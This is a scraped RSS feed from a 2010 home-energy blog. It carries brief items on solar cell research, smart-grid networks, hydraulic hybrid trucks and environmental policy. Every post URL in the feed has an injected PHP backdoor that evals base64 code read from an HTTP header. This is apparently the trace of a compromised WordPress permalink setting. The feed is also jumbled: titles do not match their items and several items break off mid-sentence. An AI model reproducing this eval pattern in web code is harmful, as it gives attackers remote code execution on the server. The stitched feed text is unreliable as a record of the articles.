http://monitorelectricity.com Learn how to monitor electricity and save on your power bills. Fri, 03 Sep 2010 11:16:02 +0000 http://wordpress.org/?v=2.5 en http://monitorelectricity.com/2010/09/03/modern-energy-wind-project-grand-valley-state-university/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://monitorelectricity.com/2010/09/03/modern-energy-wind-project-grand-valley-state-university/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 03 Sep 2010 11:16:02 +0000 admin Semiconductor manufacturing technique holds promise for solar energy
Thanks to a new semiconductor manufacturing method, the future of solar energy just got brighter. Researchers have developed a more efficient, lower-cost method of manufacturing compound semiconductors such as gallium arsenide for many electronic device applications, including solar cells. The group deposits multiple layers of the material on a single wafer, creating a layered stack of gallium arsenide thin films, then transfers one layer at a time to another substrate — glass, plastic or silicon.

Westerlo House part 2: Foundation Welcome back. ]]> http://monitorelectricity.com/2010/09/03/modern-energy-wind-project-grand-valley-state-university/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://monitorelectricity.com/2010/09/03/new-path-to-solar-energy-via-solid-state-photovoltaics/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://monitorelectricity.com/2010/09/03/new-path-to-solar-energy-via-solid-state-photovoltaics/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 03 Sep 2010 05:08:12 +0000 admin

New path to solar energy via solid-state photovoltaics Researchers have found a new mechanism by which the photovoltaic effect can take place in semiconductor thin-films. This new path to energy production brightens the future for photovoltaic technology by overcoming voltage limitations that plague conventional solid-state solar cells.

New Guidance Issued by Securities and Exchange Commission for Climate Change Disclosures by Public Companies On February 2, 2010, the Securities and Exchange Commission (”SEC”) published an interpretive release to provide guidance to public companies on the SEC’s existing disclosure requirements relating to climate change. Those requirements apply to registration statements and periodic reports filed under the Securities Act of 1933 and the Securities Exchange Act of 1934.

The World Bank Group and Sustainable Energy The World Bank in a Nutshell The World Bank Group is a vital source of financial and technical assistance to developing countries around the world.but what does that have to do with sustainable energy?

]]> http://monitorelectricity.com/2010/09/03/new-path-to-solar-energy-via-solid-state-photovoltaics/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://monitorelectricity.com/2010/09/02/closing-in-on-a-carbon-based-solar-cell/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://monitorelectricity.com/2010/09/02/closing-in-on-a-carbon-based-solar-cell/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 02 Sep 2010 23:25:02 +0000 admin Closing in on a carbon-based solar cell
To make large sheets of carbon available for light collection, chemists have devised an unusual solution — attach what amounts to a 3-D bramble patch to each side of the carbon sheet. Using that method, the scientists say they were able to dissolve sheets containing as many as 168 carbon atoms, a first.

Solar Night to attend 2nd Annual Sustainability Conference at Westminster College in Fulton, MO Meet Solar Night Industries at Westminster College Energy Symposium on September 26, 2007.

TAKE ACTION !!!!! If you’ll take the time right now to think back to the good old days of August, to a time of sun filled days at the park, to a time when street lights didn’t pop on until 8pm, to a time when both the House and the Senate passed landmark energy bills. Bills that will save us billions of dollars (collectively) on home energy costs and at the pump. Bills that drastically reduce our level of harmful emissions, thus slowing the pace of global warming. Bills that point the US towards a more energy-independent future. The House and Senate are.

Press Release from Solar Night Industries 1.14.2008-Solar Night Industries (PINKSHEETS: SLND) to host January Training Event for Installers in St. Louis, MO. The hallmark of the program and training will be to demonstrate how to use the integrated tools for streamlining the process from lead generation to installation. During the session, SNI will collaborate with the Advanced Partners and provide training on how to use the Modern Energy Plan to build their business model, how to use the SNI advanced partner tools and lead management programs.See Full Press Release at Investor Relation Home. SHAREHOLDERS: Register Now For Solar Night Investor Relations Packet & Newsletter Updates

LOW3: A bioclimatic solar house LOW3 is prototype of sustainable housing that reduces energy consumption and is made of renewable materials. It is being designed and built by students of the School of Architecture of the Vallès (ETSAV) in Spain.

]]> http://monitorelectricity.com/2010/09/02/closing-in-on-a-carbon-based-solar-cell/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://monitorelectricity.com/2010/09/02/nys-dec-waking-up-after-its-hiatus/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://monitorelectricity.com/2010/09/02/nys-dec-waking-up-after-its-hiatus/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 02 Sep 2010 17:41:01 +0000 admin NYS DEC - Waking Up After its Hiatus
The word from a large environmental law firm in Albany confirms there’s a new sheriff in town. Clients who have seen 12 years of little to no enforcement pressure from DEC are getting concerned and calling their attorneys for advice. Good news for lawyers and even bettter news for the environent. Stay tuned.

New ’smart’ metal could mean cool cash for consumers, less CO2 If a new “smart” metal could help cool your home or refrigerate your food 175 percent more efficiently than current technology, imagine what that would do for your electric bills.

Solar power in Ontario could produce almost as much power as all U.S. nuclear reactors, studies find Solar power in southeastern Ontario has the potential to produce almost the same amount of power as all the nuclear reactors in the United States, according to two new studies.

‘Greening’ your flat screen TV: Engineers develop an organic LED light source for home electronics, medicine and clean energy An estimated 70 percent of heavy metals in US landfills come from discarded electronics, and as big screen TVs get less expensive, environmental costs continue to mount. To remedy this, researchers are applying organic nano-technology to “green” the optics and electronics industry. Their technology could make flat screen TV production more environmentally friendly and can even make medical devices more sensitive.

Mapping system for photovoltaic surfaces to improve performance of solar panels A group of researchers in Spain has designed a new mapping system for the study of photovoltaic surfaces. The system can detect, at the micrometric level, all the defects existing in a solar panel. This should have a significant influence on the overall performance of these photovoltaic cells.

]]> http://monitorelectricity.com/2010/09/02/nys-dec-waking-up-after-its-hiatus/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://monitorelectricity.com/2010/09/02/hvac-ducts-can-be-used-for-wireless-monitoring-technology/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://monitorelectricity.com/2010/09/02/hvac-ducts-can-be-used-for-wireless-monitoring-technology/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 02 Sep 2010 11:56:01 +0000 admin Breakthrough in thin-film solar cells: New insights into the indium/gallium puzzle
Scientists have made a major breakthrough in their search for more efficient thin-film solar cells. Computer simulations designed to investigate the so-called indium/gallium puzzle have highlighted a new way of increasing the efficiency of CIGS thin-film solar cells.

New Findings on Carbon Dioxide Release from World’s Oceans Emerge By David A Gabel Carbon Dioxide (CO2), a greenhouse gas, is intricately linked to global warming. The largest store of CO2 is the world’s oceans. How the oceans sequester or release CO2 to or from the atmosphere is important to understand as mankind alters Earth’s climate with the burning of fossil fuels. A new report from researchers at the University of California, Davis offers clues on how that mechanism works by analyzing the shells of plankton fossils.CO2 from the atmosphere touches the ocean surface is absorbed by the water. Marine phytoplankton consume the CO2 from the surface as they grow. After the plankton dies, it sinks to the bottom of the ocean. Decomposition then transforms the organic compounds of the plankton into dissolved CO2. This cycle, known as the biological pump, is extremely effective at removing CO2 from the atmosphere and depositing it in the deep ocean waters.As global temperatures rise, one of the first symptoms is the melting of glaciers and sea ice. This frigid water then sinks to the bottom of the ocean, pushing up the carbon-rich waters that have been trapped under the warmer water for so long, like fizzy soda under a bottle cap). Once the older carbon-rich water reaches the surface, the collected greenhouse gas is released back into the atmosphere, accelerating the cycle of temperature rise.This is what occurred at the end of the last great ice age, about 18,000 years ago. The question is, where and how quickly does the release of CO2 from the oceans occur? Earlier studies suggest that the release took place all over the northern and southern hemisphere and over centuries and millennia. However, Howard Spero, a UC Davis geology professor, and his colleagues disagree.According to Spero, the CO2 release that preceded the current warm period was akin to a big fizz rather than a slow leak, and took place largely in the Southern Ocean which surrounds Antarctica. This theory was tested by examining the carbon-14 content in the fossil shells of phytoplankton that were alive at the end of the last ice age. These shells were obtained from core samples, which took up ancient sediment from deep in the sea floor.”We now understand that the Southern Ocean was the fundamental release valve that controlled the flow of carbon dioxide from the ocean to the atmosphere at the end of the last ice age. The resulting atmospheric increase in this greenhouse gas ultimately led to the warm, comfortable climate that human civilization has enjoyed for the past 10,000 years,” Spero concluded.The UC Davis study was published in the recent issue of the journal, Nature. The lead authors are Kathryn Rose, one of Spero’s students at UC Davis, and Elisabeth Sikes of Rutgers University.Link to published article: http://www.nature.com/nature/journal/v466/n7310/abs/nature09288.html Reprinted with permission from Environmental News Network.

House Passes Renewable Energy Standard “We are turning to the future,” said House Speaker Nancy Pelosi, D-Calif. WASHINGTON — The U.S. House of Representatives passed a bipartisan amendment to a broad energy package Saturday requiring utilities to provide 15% of their power from renewable energy sources by 2020. Inclusion of a renewable power standard — approved by a vote of 220-190 — is a major addition to the kind of energy package the House and Senate Democratic leadership is seeking, especially after a similar bill failed to pass in the Senate. “We are turning to the future,” said House Speaker Nancy Pelosi, D-Calif. On one.

HVAC ducts can be used for wireless monitoring technology Scientists have found a way to implement wireless monitoring technology — with uses ranging from climate control to health and safety applications — by tapping into a building’s heating, ventilating and air-conditioning (HVAC) ducts. The finding could lead to significant time and cost savings for builders and building managers.

Clothing to power personal computers Scientists in the UK are developing technology that may enable people to power MP3 players and other devices through their clothes and the carpets they walk on.

Hydraulic Hybrid Trucks Fill a Niche I recently attended a meeting of the Clean Energy Coalition in Southeastern Michigan to see and learn more about the Eaton Hydraulic Launch Assist garbage truck purchased by the city of Ann Arbor. Hydraulic hybrids are similar to electric hybrids, except instead of storing energy captured from braking in batteries, the energy is stored in hydraulic fluid. The accumulator for the hydraulics stores compressed fluid which when released powers a hydraulic motor to provide power to the wheels of the vehicles during acceleration.The point was made during the meeting that passenger cars and large SUVs or pickups have also been tested with hydraulic hybrid technology. The main reason that these technologies have not caught on in smaller vehicles is due to the weight of the hydraulic fluid. The amount of fluid needed would substantially increase the weight of a passenger vehicle thereby reducing the overall gains. This has largely left development focused on truck segments in recent years.In trucks, hydraulic hybrids have a lot of potential for fuel savings. As John Kargul, EPA’s Director of Technology Transfer pointed out during his presentation, hydraulic hybrids are 70% more efficient than traditional Class 6 trucks compared to less than 25% efficiency increase for electric hybrids during a cycle of acceleration to 35 mph and then braking back to 0 mph. This type of operation is well suited to inner-city deliver or garbage collection trucks where vehicles are starting and stopping often and results in 50% fuel savings, according to the EPA.The hydraulic technology (fluid, pumps, motors, accumulators, etc) used by this type of hybrid is generally well understand and commonplace. Newer accumulator tanks that use carbon fiber to reduce costs are likely the biggest technological breakthrough in recent years, though there have most certainly been other advances in motor and pump efficiency as well. Mass production would help reduce costs, as well. However, the costs of hydraulic hybrids are not likely fall as dramatically as many anticipate battery prices will in the coming years.Generally speaking, the hydraulic hybrid cost premium is often similar to that of electric hybrids in medium and heavy duty trucks. This means that the payback period on the premium for hydraulic hybrids is potentially much better if the improvement in efficiency is to be believed. Eaton is claiming a two year payback on their hydraulic launch assist technology in heavy duty trucks (though when I did the math with diesel prices hovering at $3/gallon, I came up with closer to three years). Either way, if these numbers prove valid in the real world, then hydraulics have the potential to be a better bet than electric hybrids for fleets looking to reduce their overall vehicle ownership costs.Hydraulic hybrids will play a role in the marketplace, but Pike Research anticipates that this role will be with the bigger trucks, Class 6, 7, and 8 in specific niches. Hydraulic hybrids are also likely to be limited to some degree by the job a truck does. For example, a hybrid electric refrigerated truck can run the compressors for the refrigerated box off battery electricity, reducing idle time, but can’t do the same with hydraulic systems. As a result, the hydraulic hybrids are likely to grow within specific niches (garbage trucks, inner-city delivery trucks, shuttle buses), but will likely find difficulty breaking out of those niches.Dave Hurst is a senior analyst at Pike Research, a clean tech consulting firm based in Boulder, Colorado.

]]> http://monitorelectricity.com/2010/09/02/hvac-ducts-can-be-used-for-wireless-monitoring-technology/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://monitorelectricity.com/2010/09/02/reports-detail-global-investment-and-other-trends-in-green-energy/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://monitorelectricity.com/2010/09/02/reports-detail-global-investment-and-other-trends-in-green-energy/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 02 Sep 2010 05:59:09 +0000 admin Nanotech coatings produce 20 times more electricity from sewage
Engineers have made a significant advance toward producing electricity from sewage, by the use of new coatings on the anodes of microbial electrochemical cells that increased the electricity production about 20 times. The findings bring the researchers one step closer to technology that could clean biowaste at the same time it produces useful levels of electricity — a promising new innovation in wastewater treatment and renewable energy.

Are Washington State Greenhouse Gas Reporting Rules About to Change? The Washington Department of Ecology is asking for changes to the state law that directs the agency to issue rules for reporting greenhouse gas emissions starting January 1, 2010. Ecology’s goal is, at least in part, to ensure that the State’s greenhouse gas reporting requirements are in line with the federal government’s.

Self-cleaning technology from Mars can keep terrestrial solar panels dust free Find dusting those tables and dressers a chore or a bore? Dread washing the windows? Imagine keeping dust and grime off objects spread out over an area of 25 to 50 football fields. That’s the problem facing companies that deploy large-scale solar power installations, and scientists have now developed a possible solution — self-dusting solar panels — based on technology developed for space missions to Mars.

New method for estimating cost of small hydropower projects Scientists have developed a method to assess the installation and operating costs of small hydroelectric power projects, which represent a potentially large but largely untapped source of energy for developing countries.

Reports detail global investment and other trends in green energy Investment in green energy in China, most notable in wind energy, leapt 53 per cent in 2009, bucking a trend during the recession that saw global investments dip 7 per cent overall from 2008 levels. However, if spending on solar water heaters (now used in 70 million world households) and total installation costs for rooftop solar were included, renewables investment worldwide increased last year.

Louisiana Crab Fisheries Pursue Sustainability Despite the Oil Spill by Dr. Sabine DaumeAs fishermen continue to haul traps full of blue crabs from of the calm waters of Lake Pontchartrain in southeastern Louisiana, their entire industry is wondering about its future. Soon after BP’s Deepwater Horizon drilling rig exploded in the Gulf of Mexico, scientists at the University of Southern Mississippi and Tulane University began finding droplets of oil in the larvae of blue crabs from Louisiana to Florida. In the past, protecting the future of the fishery meant implementing sustainable fishing practices and the Louisiana Seafood Promotion and Marketing Board began pursuing the Marine Stewardship Council’s (MSC) sustainability certification before the spill. But now, as their livelihood is threatened by the creeping oil plume, fishermen are faced with a more basic question: does sustainable fishing still matter in the face of the Gulf crisis? Ewell Smith, Executive Director of the Louisiana Seafood Promotion and Marketing Board, believes sustainability matters now more than ever and is going forward with certification. Smith says, “While we began taking steps to enter the MSC program long before the Gulf oil spill, the assessment now takes on new urgency and importance.” Blue crabs are absorbing oil directly and through the snails and smaller crabs that they eat. The oil hampers reproduction in the blue crabs, so the population becomes even more susceptible to overfishing. The blue crab is considered a keystone species, providing food for a host of bird, fish, and mammal species. It’s also a key species for the Gulf’s human residents-it supports 3,000 commercial crab fishermen in Louisiana and generates 26 percent of the total blue crabs for the nation with a dockside value of $32 million.While Gulf coast communities will be glad to know that this iconic fishery is being protected, consumers want to know if these crabs are safe for consumption. In the short term, the answer is as murky as the Gulf. The MSC Certification process will consider the impact of the spill on the sustainability of the stock but it does not examine seafood safety or quality. The MSC was designed as an independent non-profit that would reward sustainable fishing practices and business operations. Impact of the spill will be considered in relation to impact on the sustainability of the stock, however, decisions regarding opening and closing state waters in relation to the spill, and other fisheries management decisions, remain fully the jurisdiction of the state. The MSC assessment will consider the impact of the spill in relation to its impact on the sustainability of the stock, but the Louisiana Department of Wildlife and Fisheries and other local, state and federal agencies will decide whether the crabs are safe for consumption and when to open or close the fishery. The reason the blue crab fishery is going forward with certification is that the MSC Certification provides a long term advantage in protecting the fish stocks and the local fishing industry. As fishermen grapple with the risks and impacts of the oil spill, MSC Certification will help them stand out to their suppliers for responsible practices. Smith says, “We are working diligently to retain the Louisiana Seafood brand in our markets in the face of the spill, and independent third-party sustainability certification will assist our efforts.”The Louisiana Seafood Promotion and Marketing Board has contracted with Scientific Certification Systems to conduct the assessment as an independent third party. The assessment team will review documentation, interview stakeholders and evaluate the crab fishery against performance indicators that relate to the health of the stock, the impacts on the ecosystem and the management system. The team then writes a draft report, which is reviewed by two independent peer reviewers and posted for public comment. After considering all comments, a final report is released that includes the final decision on whether or not to award certification. If certification is granted, consumers can support sustainability in the Gulf fishery by seeking out products with the MSC ecolabel.Lake Pontchartrain has recovered from severe pollution before and has survived Hurricane Katrina. Kerry Coughlin, MSC Americas regional director, says: “Fishermen, fishing families and communities have been tremendously hard hit by the Gulf oil spill. MSC Certification has brought market recognition to fisheries of many sizes and scales around the world, and has helped preserve livelihoods and important legacies for fisheries with a demonstrated commitment to sustainability. We sincerely hope that will be the case for the blue crab fishermen of Louisiana.” There’s a saying that a fishing line has a hook on one end and an optimist on the other. In the Gulf, the fishermen have no choice but to be optimistic.Photo by chesbayprogram/flickr/Creative Commons Dr. Sabine Daume is the Program Manager of Sustainable Seafood Certification at Scientific Certification Systems. Dr. Daume and the assessment team will be meeting with managers, scientists, interested stakeholders and NGOs in September 2010 to discuss the oil spill’s effects on the management of the blue crab fishery.

]]> http://monitorelectricity.com/2010/09/02/reports-detail-global-investment-and-other-trends-in-green-energy/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://monitorelectricity.com/2010/09/01/solar-energy-cheaper-solar-concentrator-with-fewer-photovoltaic-cells/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://monitorelectricity.com/2010/09/01/solar-energy-cheaper-solar-concentrator-with-fewer-photovoltaic-cells/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 01 Sep 2010 23:47:02 +0000 admin Can You Hear Me Now? Public vs. Private Networks for the Smart Grid
In the frenzied smart grid discussions of networking topologies, standards, and frequencies, the first fundamental question is whether utilities should build their own dedicated private communications infrastructure or leverage existing public telecom networks. To anyone from the telecom industry, this seems like a silly question. Why duplicate a broad-based infrastructure when multiple competing providers have already spent billions blanketing the globe with wireless and wireline networks? Are smart grid communications needs really that special?It seems the answer is a definite maybe. Some utilities with which we’ve spoken are adopting a “use public when we can, build our own when we must” approach. They say that smart grid bandwidth needs today are relatively modest but are likely to grow, and leveraging telecom networks provides flexibility to adapt. Bolstering this view are telecom carriers including AT&T and Verizon in the U.S., supported by vendors such as SmartSynch, who have recently refocused on the smart grid with tailored pricing and support offerings. Though public wireless is common for C&I smart meters, neighborhood AMI networks are typically considered a “build where we must” application. However, even this may be changing. For example British Gas aims to leverage Vodafone’s GPRS network to connect over 1 million smart electric and gas meters in the UK starting this year. Competitors in the UK quickly point out the standards and regulatory dance has not yet finished in the UK’s unique market, but there is no doubt that public wireless is gaining a toehold in AMI applications where it previously had none.On the other side of the argument, there is an opposing adage: “build our own everywhere we can, unless economically not feasible.” Proponents offer a long list of reasons for this approach, but it usually boils down to control. The grid communications infrastructure is often critical and becoming more so. Having complete control of the reliability, availability, performance, security, and coverage of this infrastructure is seen as necessary. To paraphrase more than one utility exec: “A major event where I most need my communications is likely to be the same moment everyone will grab their iPhones to see what’s going on - I do NOT want to have to compete for bandwidth”. Similarly, as smart grid cyber security issues are getting greater attention with new NERC CIP requirements, NIST standards, and even looming U.S. legislation, having full ownership seems like a safe bet. Much to the chagrin of the geeks, one major issue is not technical at all. Private network infrastructure gets included in the “return on assets” equations that figure into how many utilities make money; “phone bills” generally do not.Despite these different philosophies, our research points to similar results: smart grid networks are hybrids of private and public technologies. We are forecasting strong growth for telecom carriers in the smart grid domain, yet we see private technologies remaining dominant for most applications. Accelerated adoption of public wireless will likely need broader deployment of 4G technologies that deliver greater service level guarantees.In any case, a simple answer to the simple question of “public or private?” will remain elusive, requiring utilities to understand their individual requirements and longer-term roadmaps, and make their choices accordingly.Photo by aussiegall/flickr/Creative CommonsBob Gohn, an analyst with Pike Research, specializes in the smart grid.

Solar energy: Cheaper solar concentrator with fewer photovoltaic cells A new solar concentrator design from an electrical engineering Ph.D. student could lead to solar concentrators that are less expensive and require fewer photovoltaic cells than existing solar concentrators.

Sunlight with cooling factor Although it sounds like a contradiction in terms, using the power of the sun for refrigeration is proving to be an original energy concept. In Tunisia and Morocco, research scientists are using solar energy to keep perishable foodstuffs such as milk, wine and fruit fresh.

]]> http://monitorelectricity.com/2010/09/01/solar-energy-cheaper-solar-concentrator-with-fewer-photovoltaic-cells/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://monitorelectricity.com/2010/09/01/charging-up-electric-car-batteries-in-environmentally-friendly-way/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://monitorelectricity.com/2010/09/01/charging-up-electric-car-batteries-in-environmentally-friendly-way/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 01 Sep 2010 17:58:02 +0000 admin “Our Choice” by Al Gore
Former Vice President Al Gore’s new book, “Our Choice,” exceeded my expectations. It should be required readng for new Chief Sustainability Officers, corporate green team members, and anyone else who has decided to place sustainability closer to the center of what they do.

Banks Are Increasingly Doing Environmental Due Dilligence By Lane JostThe New York Times is reporting that major multinational banks are growing weary of delivering debt to industrial extraction projects, such as mountaintop removal coal mining in West Virginia.The piece looks at a recent policy shift by Wells Fargo in providing financing for coal projects:”In the most recent example, the banking giant Wells Fargo noted last month what it called “considerable attention and controversy” surrounding mountaintop removal mining, and said that its involvement with companies engaged in it was “limited and declining.”Apparently Wells Fargo as been a relatively small player in the sector ($78 million in bonds and loan financing since 2008 according to the Rainforest Action Network). However, HSBC, Citibank, Credit Suisse, Morgan Stanley, JP Morgan Chase and Bank of America have begun demanding greater environmental impact disclosure from potential mining customers.While there’s no doubt increased due diligence in mining deals has something to do with flat oil prices over the past year, environmental risk assessment is becoming a material piece of financial risk assessment. This is a leadership position for banks trying to appeal to the SRI community.Image Credit by Chuck “Caveman” Coker via Flickr under a CC license Reprinted with permission from The Inspired Economist

Americans using less energy, more renewables Americans are using less energy overall and making more use of renewable energy resources. The United States used significantly less coal and petroleum in 2009 than in 2008, and significantly more wind power. There also was a decline in natural gas use and increases in solar, hydro and geothermal power, according to the most recent energy flow charts.

Charging up electric car batteries in environmentally-friendly way Electromobility makes sense only if car batteries are charged using electricity from renewable energy sources. But the supply of green electricity is not always adequate. An intelligent charging station can help, by adapting the recharging times to suit energy supply and network capacity.

A Little Green Math Challenge For You–(because my calculator watch just broke) OK–as a new signer upper for Ameren’s Pure Power Plan I am curious about 1 thing: How can I present this to my wife as an economical decision? Two things are apparent from that question: 1. I signed up without telling my wife–not usually my style, I guess I was just hoping she wouldn’t notice. 2. She won’t be down with supporting modern energy. Not true–she’s down. It’s just that she is more fiscally conservative than I. So here is my math problem for you: Ameren’s Pure Power Plan asks the customer to pay 1.5 cents per kWh. Let’s say.

]]> http://monitorelectricity.com/2010/09/01/charging-up-electric-car-batteries-in-environmentally-friendly-way/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://monitorelectricity.com/2010/09/01/press-release-from-solar-night-industries/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://monitorelectricity.com/2010/09/01/press-release-from-solar-night-industries/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 01 Sep 2010 11:47:02 +0000 admin Towards nanowire solar cells with a 65-percent efficiency
Researchers want to develop solar cells with an efficiency of over 65 percent by means of nanotechnology. In Southern Europe and North Africa these new solar cells can generate a substantial portion of the European demand for electricity.

Solar heated, superinsulated house heats and cools itself This house heats and cools itself with no furnace and no air conditioning. ]]> http://monitorelectricity.com/2010/09/01/press-release-from-solar-night-industries/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://monitorelectricity.com/2010/09/01/selenium-makes-more-efficient-solar-cells/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://monitorelectricity.com/2010/09/01/selenium-makes-more-efficient-solar-cells/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 01 Sep 2010 06:00:10 +0000 admin

New Product Website Launched for Solar Synapse Pre-Wire Program for New Construction Solar Synapse New Website Launched at http://www.SolarSynapse.com The Solar Synapse ]]> http://monitorelectricity.com/2010/09/01/selenium-makes-more-efficient-solar-cells/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/